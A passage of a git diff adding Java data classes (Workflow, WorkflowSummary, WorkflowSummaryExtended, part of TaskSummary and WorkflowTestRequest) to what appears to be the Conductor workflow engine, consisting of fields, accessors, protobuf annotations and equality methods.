SummaryUtil.serializeInputOutput(task.getOutputData()); + } + + if (task.getEndTime() > 0) { + this.executionTime = task.getEndTime() - task.getStartTime(); + } + + if (StringUtils.isNotBlank(task.getExternalInputPayloadStoragePath())) { + this.externalInputPayloadStoragePath = task.getExternalInputPayloadStoragePath(); + } + if (StringUtils.isNotBlank(task.getExternalOutputPayloadStoragePath())) { + this.externalOutputPayloadStoragePath = task.getExternalOutputPayloadStoragePath(); + } + } + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @param workflowId the workflowId to set + */ + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + /** + * @return the workflowType + */ + public String getWorkflowType() { + return workflowType; + } + + /** + * @param workflowType the workflowType to set + */ + public void setWorkflowType(String workflowType) { + this.workflowType = workflowType; + } + + /** + * @return the correlationId + */ + public String getCorrelationId() { + return correlationId; + } + + /** + * @param correlationId the correlationId to set + */ + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + /** + * @return the scheduledTime + */ + public String getScheduledTime() { + return scheduledTime; + } + + /** + * @param scheduledTime the scheduledTime to set + */ + public void setScheduledTime(String scheduledTime) { + this.scheduledTime = scheduledTime; + } + + /** + * @return the startTime + */ + public String getStartTime() { + return startTime; + } + + /** + * @param startTime the startTime to set + */ + public void setStartTime(String startTime) { + this.startTime = startTime; + } + + /** + * @return the updateTime + */ + public String getUpdateTime() { + return updateTime; + } + + /** + * @param updateTime the updateTime to set + */ + public void setUpdateTime(String updateTime) { + this.updateTime = updateTime; + } + + /** + * @return the endTime + */ + public String getEndTime() { + return endTime; + } + + /** + * @param endTime the endTime to set + */ + public void setEndTime(String endTime) { + this.endTime = endTime; + } + + /** + * @return the status + */ + public Status getStatus() { + return status; + } + + /** + * @param status the status to set + */ + public void setStatus(Status status) { + this.status = status; + } + + /** + * @return the reasonForIncompletion + */ + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + /** + * @param reasonForIncompletion the reasonForIncompletion to set + */ + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + + /** + * @return the executionTime + */ + public long getExecutionTime() { + return executionTime; + } + + /** + * @param executionTime the executionTime to set + */ + public void setExecutionTime(long executionTime) { + this.executionTime = executionTime; + } + + /** + * @return the queueWaitTime + */ + public long getQueueWaitTime() { + return queueWaitTime; + } + + /** + * @param queueWaitTime the queueWaitTime to set + */ + public void setQueueWaitTime(long queueWaitTime) { + this.queueWaitTime = queueWaitTime; + } + + /** + * @return the taskDefName + */ + public String getTaskDefName() { + return taskDefName; + } + + /** + * @param taskDefName the taskDefName to set + */ + public void setTaskDefName(String taskDefName) { + this.taskDefName = taskDefName; + } + + /** + * @return the taskType + */ + public String getTaskType() { + return taskType; + } + + /** + * @param taskType the taskType to set + */ + public void setTaskType(String taskType) { + this.taskType = taskType; + } + + /** + * @return input to the task + */ + public String getInput() { + return input; + } + + /** + * @param input input to the task + */ + public void setInput(String input) { + this.input = input; + } + + /** + * @return output of the task + */ + public String getOutput() { + return output; + } + + /** + * @param output Task output + */ + public void setOutput(String output) { + this.output = output; + } + + /** + * @return the taskId + */ + public String getTaskId() { + return taskId; + } + + /** + * @param taskId the taskId to set + */ + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + /** + * @return the external storage path for the task input payload + */ + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + /** + * @param externalInputPayloadStoragePath the external storage path where the task input payload + * is stored + */ + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + /** + * @return the external storage path for the task output payload + */ + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + /** + * @param externalOutputPayloadStoragePath the external storage path where the task output + * payload is stored + */ + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + /** + * @return the priority defined on workflow + */ + public int getWorkflowPriority() { + return workflowPriority; + } + + /** + * @param workflowPriority Priority defined for workflow + */ + public void setWorkflowPriority(int workflowPriority) { + this.workflowPriority = workflowPriority; + } + + /** + * @return the domain that the task was scheduled in + */ + public String getDomain() { + return domain; + } + + /** + * @param domain The domain that the task was scheduled in + */ + public void setDomain(String domain) { + this.domain = domain; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + TaskSummary that = (TaskSummary) o; + return getExecutionTime() == that.getExecutionTime() + && getQueueWaitTime() == that.getQueueWaitTime() + && getWorkflowPriority() == that.getWorkflowPriority() + && getWorkflowId().equals(that.getWorkflowId()) + && getWorkflowType().equals(that.getWorkflowType()) + && Objects.equals(getCorrelationId(), that.getCorrelationId()) + && getScheduledTime().equals(that.getScheduledTime()) + && Objects.equals(getStartTime(), that.getStartTime()) + && Objects.equals(getUpdateTime(), that.getUpdateTime()) + && Objects.equals(getEndTime(), that.getEndTime()) + && getStatus() == that.getStatus() + && Objects.equals(getReasonForIncompletion(), that.getReasonForIncompletion()) + && Objects.equals(getTaskDefName(), that.getTaskDefName()) + && getTaskType().equals(that.getTaskType()) + && getTaskId().equals(that.getTaskId()) + && Objects.equals(getDomain(), that.getDomain()); + } + + @Override + public int hashCode() { + return Objects.hash( + getWorkflowId(), + getWorkflowType(), + getCorrelationId(), + getScheduledTime(), + getStartTime(), + getUpdateTime(), + getEndTime(), + getStatus(), + getReasonForIncompletion(), + getExecutionTime(), + getQueueWaitTime(), + getTaskDefName(), + getTaskType(), + getTaskId(), + getWorkflowPriority(), + getDomain()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/Workflow.java b/common/src/main/java/com/netflix/conductor/common/run/Workflow.java new file mode 100644 index 0000000..866d01a --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/Workflow.java @@ -0,0 +1,575 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.util.*; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.Auditable; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import jakarta.validation.constraints.Max; +import jakarta.validation.constraints.Min; + +@ProtoMessage +public class Workflow extends Auditable { + + @ProtoEnum + public enum WorkflowStatus { + RUNNING(false, false), + COMPLETED(true, true), + FAILED(true, false), + TIMED_OUT(true, false), + TERMINATED(true, false), + PAUSED(false, true); + + private final boolean terminal; + + private final boolean successful; + + WorkflowStatus(boolean terminal, boolean successful) { + this.terminal = terminal; + this.successful = successful; + } + + public boolean isTerminal() { + return terminal; + } + + public boolean isSuccessful() { + return successful; + } + } + + @ProtoField(id = 1) + private WorkflowStatus status = WorkflowStatus.RUNNING; + + @ProtoField(id = 2) + private long endTime; + + @ProtoField(id = 3) + private String workflowId; + + @ProtoField(id = 4) + private String parentWorkflowId; + + @ProtoField(id = 5) + private String parentWorkflowTaskId; + + @ProtoField(id = 6) + private List tasks = new LinkedList<>(); + + @ProtoField(id = 8) + private Map input = new HashMap<>(); + + @ProtoField(id = 9) + private Map output = new HashMap<>(); + + // ids 10,11 are reserved + + @ProtoField(id = 12) + private String correlationId; + + @ProtoField(id = 13) + private String reRunFromWorkflowId; + + @ProtoField(id = 14) + private String reasonForIncompletion; + + // id 15 is reserved + + @ProtoField(id = 16) + private String event; + + @ProtoField(id = 17) + private Map taskToDomain = new HashMap<>(); + + @ProtoField(id = 18) + private Set failedReferenceTaskNames = new HashSet<>(); + + @ProtoField(id = 19) + private WorkflowDef workflowDefinition; + + @ProtoField(id = 20) + private String externalInputPayloadStoragePath; + + @ProtoField(id = 21) + private String externalOutputPayloadStoragePath; + + @ProtoField(id = 22) + @Min(value = 0, message = "workflow priority: ${validatedValue} should be minimum {value}") + @Max(value = 99, message = "workflow priority: ${validatedValue} should be maximum {value}") + private int priority; + + @ProtoField(id = 23) + private Map variables = new HashMap<>(); + + @ProtoField(id = 24) + private long lastRetriedTime; + + @ProtoField(id = 25) + private Set failedTaskNames = new HashSet<>(); + + @ProtoField(id = 26) + private List history = new LinkedList<>(); + + private String idempotencyKey; + private String rateLimitKey; + private boolean rateLimited; + + public Workflow() {} + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } + + public String getRateLimitKey() { + return rateLimitKey; + } + + public void setRateLimitKey(String rateLimitKey) { + this.rateLimitKey = rateLimitKey; + } + + public boolean isRateLimited() { + return rateLimited; + } + + public void setRateLimited(boolean rateLimited) { + this.rateLimited = rateLimited; + } + + public List getHistory() { + return history; + } + + public void setHistory(List history) { + this.history = history; + } + + /** + * @return the status + */ + public WorkflowStatus getStatus() { + return status; + } + + /** + * @param status the status to set + */ + public void setStatus(WorkflowStatus status) { + this.status = status; + } + + /** + * @return the startTime + */ + public long getStartTime() { + return getCreateTime(); + } + + /** + * @param startTime the startTime to set + */ + public void setStartTime(long startTime) { + this.setCreateTime(startTime); + } + + /** + * @return the endTime + */ + public long getEndTime() { + return endTime; + } + + /** + * @param endTime the endTime to set + */ + public void setEndTime(long endTime) { + this.endTime = endTime; + } + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @param workflowId the workflowId to set + */ + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + /** + * @return the tasks which are scheduled, in progress or completed. + */ + public List getTasks() { + return tasks; + } + + /** + * @param tasks the tasks to set + */ + public void setTasks(List tasks) { + this.tasks = tasks; + } + + /** + * @return the input + */ + public Map getInput() { + return input; + } + + /** + * @param input the input to set + */ + public void setInput(Map input) { + if (input == null) { + input = new HashMap<>(); + } + this.input = input; + } + + /** + * @return the task to domain map + */ + public Map getTaskToDomain() { + return taskToDomain; + } + + /** + * @param taskToDomain the task to domain map + */ + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + /** + * @return the output + */ + public Map getOutput() { + return output; + } + + /** + * @param output the output to set + */ + public void setOutput(Map output) { + if (output == null) { + output = new HashMap<>(); + } + this.output = output; + } + + /** + * @return The correlation id used when starting the workflow + */ + public String getCorrelationId() { + return correlationId; + } + + /** + * @param correlationId the correlation id + */ + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public String getReRunFromWorkflowId() { + return reRunFromWorkflowId; + } + + public void setReRunFromWorkflowId(String reRunFromWorkflowId) { + this.reRunFromWorkflowId = reRunFromWorkflowId; + } + + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + + /** + * @return the parentWorkflowId + */ + public String getParentWorkflowId() { + return parentWorkflowId; + } + + /** + * @param parentWorkflowId the parentWorkflowId to set + */ + public void setParentWorkflowId(String parentWorkflowId) { + this.parentWorkflowId = parentWorkflowId; + } + + /** + * @return the parentWorkflowTaskId + */ + public String getParentWorkflowTaskId() { + return parentWorkflowTaskId; + } + + /** + * @param parentWorkflowTaskId the parentWorkflowTaskId to set + */ + public void setParentWorkflowTaskId(String parentWorkflowTaskId) { + this.parentWorkflowTaskId = parentWorkflowTaskId; + } + + /** + * @return Name of the event that started the workflow + */ + public String getEvent() { + return event; + } + + /** + * @param event Name of the event that started the workflow + */ + public void setEvent(String event) { + this.event = event; + } + + public Set getFailedReferenceTaskNames() { + return failedReferenceTaskNames; + } + + public void setFailedReferenceTaskNames(Set failedReferenceTaskNames) { + this.failedReferenceTaskNames = failedReferenceTaskNames; + } + + public WorkflowDef getWorkflowDefinition() { + return workflowDefinition; + } + + public void setWorkflowDefinition(WorkflowDef workflowDefinition) { + this.workflowDefinition = workflowDefinition; + } + + /** + * @return the external storage path of the workflow input payload + */ + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + /** + * @param externalInputPayloadStoragePath the external storage path where the workflow input + * payload is stored + */ + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + /** + * @return the external storage path of the workflow output payload + */ + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + /** + * @return the priority to define on tasks + */ + public int getPriority() { + return priority; + } + + /** + * @param priority priority of tasks (between 0 and 99) + */ + public void setPriority(int priority) { + if (priority < 0 || priority > 99) { + throw new IllegalArgumentException("priority MUST be between 0 and 99 (inclusive)"); + } + this.priority = priority; + } + + /** + * Convenience method for accessing the workflow definition name. + * + * @return the workflow definition name. + */ + public String getWorkflowName() { + if (workflowDefinition == null) { + throw new NullPointerException("Workflow definition is null"); + } + return workflowDefinition.getName(); + } + + /** + * Convenience method for accessing the workflow definition version. + * + * @return the workflow definition version. + */ + public int getWorkflowVersion() { + if (workflowDefinition == null) { + throw new NullPointerException("Workflow definition is null"); + } + return workflowDefinition.getVersion(); + } + + /** + * @param externalOutputPayloadStoragePath the external storage path where the workflow output + * payload is stored + */ + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + /** + * @return the global workflow variables + */ + public Map getVariables() { + return variables; + } + + /** + * @param variables the set of global workflow variables to set + */ + public void setVariables(Map variables) { + this.variables = variables; + } + + /** + * Captures the last time the workflow was retried + * + * @return the last retried time of the workflow + */ + public long getLastRetriedTime() { + return lastRetriedTime; + } + + /** + * @param lastRetriedTime time in milliseconds when the workflow is retried + */ + public void setLastRetriedTime(long lastRetriedTime) { + this.lastRetriedTime = lastRetriedTime; + } + + public boolean hasParent() { + return StringUtils.isNotEmpty(parentWorkflowId); + } + + public Set getFailedTaskNames() { + return failedTaskNames; + } + + public void setFailedTaskNames(Set failedTaskNames) { + this.failedTaskNames = failedTaskNames; + } + + public Task getTaskByRefName(String refName) { + if (refName == null) { + throw new RuntimeException( + "refName passed is null. Check the workflow execution. For dynamic tasks, make sure referenceTaskName is set to a not null value"); + } + LinkedList found = new LinkedList<>(); + for (Task t : tasks) { + if (t.getReferenceTaskName() == null) { + throw new RuntimeException( + "Task " + + t.getTaskDefName() + + ", seq=" + + t.getSeq() + + " does not have reference name specified."); + } + if (t.getReferenceTaskName().equals(refName)) { + found.add(t); + } + } + if (found.isEmpty()) { + return null; + } + return found.getLast(); + } + + /** + * @return a deep copy of the workflow instance + */ + public Workflow copy() { + Workflow copy = new Workflow(); + copy.setInput(input); + copy.setOutput(output); + copy.setStatus(status); + copy.setWorkflowId(workflowId); + copy.setParentWorkflowId(parentWorkflowId); + copy.setParentWorkflowTaskId(parentWorkflowTaskId); + copy.setReRunFromWorkflowId(reRunFromWorkflowId); + copy.setCorrelationId(correlationId); + copy.setEvent(event); + copy.setReasonForIncompletion(reasonForIncompletion); + copy.setWorkflowDefinition(workflowDefinition); + copy.setPriority(priority); + copy.setTasks(tasks.stream().map(Task::deepCopy).collect(Collectors.toList())); + copy.setVariables(variables); + copy.setEndTime(endTime); + copy.setLastRetriedTime(lastRetriedTime); + copy.setTaskToDomain(taskToDomain); + copy.setFailedReferenceTaskNames(failedReferenceTaskNames); + copy.setExternalInputPayloadStoragePath(externalInputPayloadStoragePath); + copy.setExternalOutputPayloadStoragePath(externalOutputPayloadStoragePath); + return copy; + } + + @Override + public String toString() { + String name = workflowDefinition != null ? workflowDefinition.getName() : null; + Integer version = workflowDefinition != null ? workflowDefinition.getVersion() : null; + return String.format("%s.%s/%s.%s", name, version, workflowId, status); + } + + /** + * A string representation of all relevant fields that identify this workflow. Intended for use + * in log and other system generated messages. + */ + public String toShortString() { + String name = workflowDefinition != null ? workflowDefinition.getName() : null; + Integer version = workflowDefinition != null ? workflowDefinition.getVersion() : null; + return String.format("%s.%s/%s", name, version, workflowId); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + Workflow workflow = (Workflow) o; + return Objects.equals(getWorkflowId(), workflow.getWorkflowId()); + } + + @Override + public int hashCode() { + return Objects.hash(getWorkflowId()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummary.java b/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummary.java new file mode 100644 index 0000000..5777f7e --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummary.java @@ -0,0 +1,469 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Objects; +import java.util.Set; +import java.util.TimeZone; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.workflow.WorkflowClassifier; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.utils.SummaryUtil; + +/** Captures workflow summary info to be indexed in Elastic Search. */ +@ProtoMessage +public class WorkflowSummary { + + /** The time should be stored as GMT */ + private static final TimeZone GMT = TimeZone.getTimeZone("GMT"); + + @ProtoField(id = 1) + private String workflowType; + + @ProtoField(id = 2) + private int version; + + @ProtoField(id = 3) + private String workflowId; + + @ProtoField(id = 4) + private String correlationId; + + @ProtoField(id = 5) + private String startTime; + + @ProtoField(id = 6) + private String updateTime; + + @ProtoField(id = 7) + private String endTime; + + @ProtoField(id = 8) + private Workflow.WorkflowStatus status; + + @ProtoField(id = 9) + private String input; + + @ProtoField(id = 10) + private String output; + + @ProtoField(id = 11) + private String reasonForIncompletion; + + @ProtoField(id = 12) + private long executionTime; + + @ProtoField(id = 13) + private String event; + + @ProtoField(id = 14) + private String failedReferenceTaskNames = ""; + + @ProtoField(id = 15) + private String externalInputPayloadStoragePath; + + @ProtoField(id = 16) + private String externalOutputPayloadStoragePath; + + @ProtoField(id = 17) + private int priority; + + @ProtoField(id = 18) + private Set failedTaskNames = new HashSet<>(); + + @ProtoField(id = 19) + private String createdBy; + + @ProtoField(id = 20) + private Map taskToDomain = new HashMap<>(); + + @ProtoField(id = 21) + private String idempotencyKey; + + @ProtoField(id = 22) + private String parentWorkflowId = ""; + + /** + * Classifier of the workflow definition this execution was started from (e.g. {@code workflow} + * for a plain workflow, {@code agent} for AgentSpan agents). Derived via {@link + * WorkflowClassifier} at index time. + */ + @ProtoField(id = 23) + private String classifier; + + public WorkflowSummary() {} + + public WorkflowSummary(Workflow workflow) { + + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(GMT); + + this.workflowType = workflow.getWorkflowName(); + this.version = workflow.getWorkflowVersion(); + this.workflowId = workflow.getWorkflowId(); + this.priority = workflow.getPriority(); + this.correlationId = workflow.getCorrelationId(); + this.idempotencyKey = workflow.getIdempotencyKey(); + if (workflow.getCreateTime() != null) { + this.startTime = sdf.format(new Date(workflow.getCreateTime())); + } + if (workflow.getEndTime() > 0) { + this.endTime = sdf.format(new Date(workflow.getEndTime())); + } + if (workflow.getUpdateTime() != null) { + this.updateTime = sdf.format(new Date(workflow.getUpdateTime())); + } + this.status = workflow.getStatus(); + if (workflow.getInput() != null) { + this.input = SummaryUtil.serializeInputOutput(workflow.getInput()); + } + if (workflow.getOutput() != null) { + this.output = SummaryUtil.serializeInputOutput(workflow.getOutput()); + } + this.reasonForIncompletion = workflow.getReasonForIncompletion(); + if (workflow.getEndTime() > 0) { + this.executionTime = workflow.getEndTime() - workflow.getStartTime(); + } + this.event = workflow.getEvent(); + this.failedReferenceTaskNames = + workflow.getFailedReferenceTaskNames().stream().collect(Collectors.joining(",")); + this.failedTaskNames = workflow.getFailedTaskNames(); + if (StringUtils.isNotBlank(workflow.getExternalInputPayloadStoragePath())) { + this.externalInputPayloadStoragePath = workflow.getExternalInputPayloadStoragePath(); + } + if (StringUtils.isNotBlank(workflow.getExternalOutputPayloadStoragePath())) { + this.externalOutputPayloadStoragePath = workflow.getExternalOutputPayloadStoragePath(); + } + if (workflow.getTaskToDomain() != null) { + this.taskToDomain = workflow.getTaskToDomain(); + } + this.createdBy = workflow.getCreatedBy(); + this.parentWorkflowId = + workflow.getParentWorkflowId() != null ? workflow.getParentWorkflowId() : ""; + this.classifier = WorkflowClassifier.classifierOf(workflow.getWorkflowDefinition()); + } + + /** + * @return the workflowType + */ + public String getWorkflowType() { + return workflowType; + } + + /** + * @return the version + */ + public int getVersion() { + return version; + } + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @return the correlationId + */ + public String getCorrelationId() { + return correlationId; + } + + /** + * @return the startTime + */ + public String getStartTime() { + return startTime; + } + + /** + * @return the endTime + */ + public String getEndTime() { + return endTime; + } + + /** + * @return the status + */ + public WorkflowStatus getStatus() { + return status; + } + + /** + * @return the input + */ + public String getInput() { + return input; + } + + public long getInputSize() { + return input != null ? input.length() : 0; + } + + /** + * @return the output + */ + public String getOutput() { + return output; + } + + public long getOutputSize() { + return output != null ? output.length() : 0; + } + + /** + * @return the reasonForIncompletion + */ + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + /** + * @return the executionTime + */ + public long getExecutionTime() { + return executionTime; + } + + /** + * @return the updateTime + */ + public String getUpdateTime() { + return updateTime; + } + + /** + * @return The event + */ + public String getEvent() { + return event; + } + + /** + * @param event The event + */ + public void setEvent(String event) { + this.event = event; + } + + public String getFailedReferenceTaskNames() { + return failedReferenceTaskNames; + } + + public void setFailedReferenceTaskNames(String failedReferenceTaskNames) { + this.failedReferenceTaskNames = failedReferenceTaskNames; + } + + public Set getFailedTaskNames() { + return failedTaskNames; + } + + public void setFailedTaskNames(Set failedTaskNames) { + this.failedTaskNames = failedTaskNames; + } + + public void setWorkflowType(String workflowType) { + this.workflowType = workflowType; + } + + public void setVersion(int version) { + this.version = version; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public void setStartTime(String startTime) { + this.startTime = startTime; + } + + public void setUpdateTime(String updateTime) { + this.updateTime = updateTime; + } + + public void setEndTime(String endTime) { + this.endTime = endTime; + } + + public void setStatus(WorkflowStatus status) { + this.status = status; + } + + public void setInput(String input) { + this.input = input; + } + + public void setOutput(String output) { + this.output = output; + } + + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + + public void setExecutionTime(long executionTime) { + this.executionTime = executionTime; + } + + /** + * @return the external storage path of the workflow input payload + */ + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + /** + * @param externalInputPayloadStoragePath the external storage path where the workflow input + * payload is stored + */ + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + /** + * @return the external storage path of the workflow output payload + */ + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + /** + * @param externalOutputPayloadStoragePath the external storage path where the workflow output + * payload is stored + */ + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + /** + * @return the priority to define on tasks + */ + public int getPriority() { + return priority; + } + + /** + * @param priority priority of tasks (between 0 and 99) + */ + public void setPriority(int priority) { + this.priority = priority; + } + + public String getCreatedBy() { + return createdBy; + } + + public void setCreatedBy(String createdBy) { + this.createdBy = createdBy; + } + + public Map getTaskToDomain() { + return taskToDomain; + } + + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } + + public String getParentWorkflowId() { + return parentWorkflowId; + } + + public void setParentWorkflowId(String parentWorkflowId) { + this.parentWorkflowId = parentWorkflowId; + } + + public String getClassifier() { + return classifier; + } + + public void setClassifier(String classifier) { + this.classifier = classifier; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + WorkflowSummary that = (WorkflowSummary) o; + return getVersion() == that.getVersion() + && getExecutionTime() == that.getExecutionTime() + && getPriority() == that.getPriority() + && getWorkflowType().equals(that.getWorkflowType()) + && getWorkflowId().equals(that.getWorkflowId()) + && Objects.equals(getCorrelationId(), that.getCorrelationId()) + && Objects.equals(getIdempotencyKey(), that.getIdempotencyKey()) + && StringUtils.equals(getStartTime(), that.getStartTime()) + && StringUtils.equals(getUpdateTime(), that.getUpdateTime()) + && StringUtils.equals(getEndTime(), that.getEndTime()) + && getStatus() == that.getStatus() + && Objects.equals(getReasonForIncompletion(), that.getReasonForIncompletion()) + && Objects.equals(getEvent(), that.getEvent()) + && Objects.equals(getCreatedBy(), that.getCreatedBy()) + && Objects.equals(getTaskToDomain(), that.getTaskToDomain()) + && Objects.equals(getParentWorkflowId(), that.getParentWorkflowId()) + && Objects.equals(getClassifier(), that.getClassifier()); + } + + @Override + public int hashCode() { + return Objects.hash( + getWorkflowType(), + getVersion(), + getWorkflowId(), + getCorrelationId(), + getIdempotencyKey(), + getStartTime(), + getUpdateTime(), + getEndTime(), + getStatus(), + getReasonForIncompletion(), + getExecutionTime(), + getEvent(), + getPriority(), + getCreatedBy(), + getTaskToDomain(), + getParentWorkflowId(), + getClassifier()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummaryExtended.java b/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummaryExtended.java new file mode 100644 index 0000000..01475eb --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/WorkflowSummaryExtended.java @@ -0,0 +1,62 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** Extended version of WorkflowSummary that retains input/output as Map */ +public class WorkflowSummaryExtended extends WorkflowSummary { + + @ProtoField(id = 9) // Ensure Protobuf compatibility + @JsonIgnore + private Map inputMap; + + @ProtoField(id = 10) + @JsonIgnore + private Map outputMap; + + public WorkflowSummaryExtended(Workflow workflow) { + super(workflow); + if (workflow.getInput() != null) { + this.inputMap = workflow.getInput(); + } + if (workflow.getOutput() != null) { + this.outputMap = workflow.getOutput(); + } + } + + /** New method for JSON serialization */ + @JsonProperty("input") + public Map getInputMap() { + return inputMap; + } + + /** New method for JSON serialization */ + @JsonProperty("output") + public Map getOutputMap() { + return outputMap; + } + + public void setInputMap(Map inputMap) { + this.inputMap = inputMap; + } + + public void setOutputMap(Map outputMap) { + this.outputMap = outputMap; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/WorkflowTestRequest.java b/common/src/main/java/com/netflix/conductor/common/run/WorkflowTestRequest.java new file mode 100644 index 0000000..e413946 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/WorkflowTestRequest.java @@ -0,0 +1,93 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; + +public class WorkflowTestRequest extends StartWorkflowRequest { + + // Map of task reference name to mock output for the task + private Map> taskRefToMockOutput = new HashMap<>(); + + // If there are sub-workflows inside the workflow + // The map of task reference name to the mock for the sub-workflow + private Map subWorkflowTestRequest = new HashMap<>(); + + public static class TaskMock { + private TaskResult.Status status = TaskResult.Status.COMPLETED; + private Map output; + private long executionTime; // Time in millis for the execution of the task. Useful for + // simulating timeout conditions + private long queueWaitTime; // Time in millis for the wait time in the queue. + + public TaskMock() {} + + public 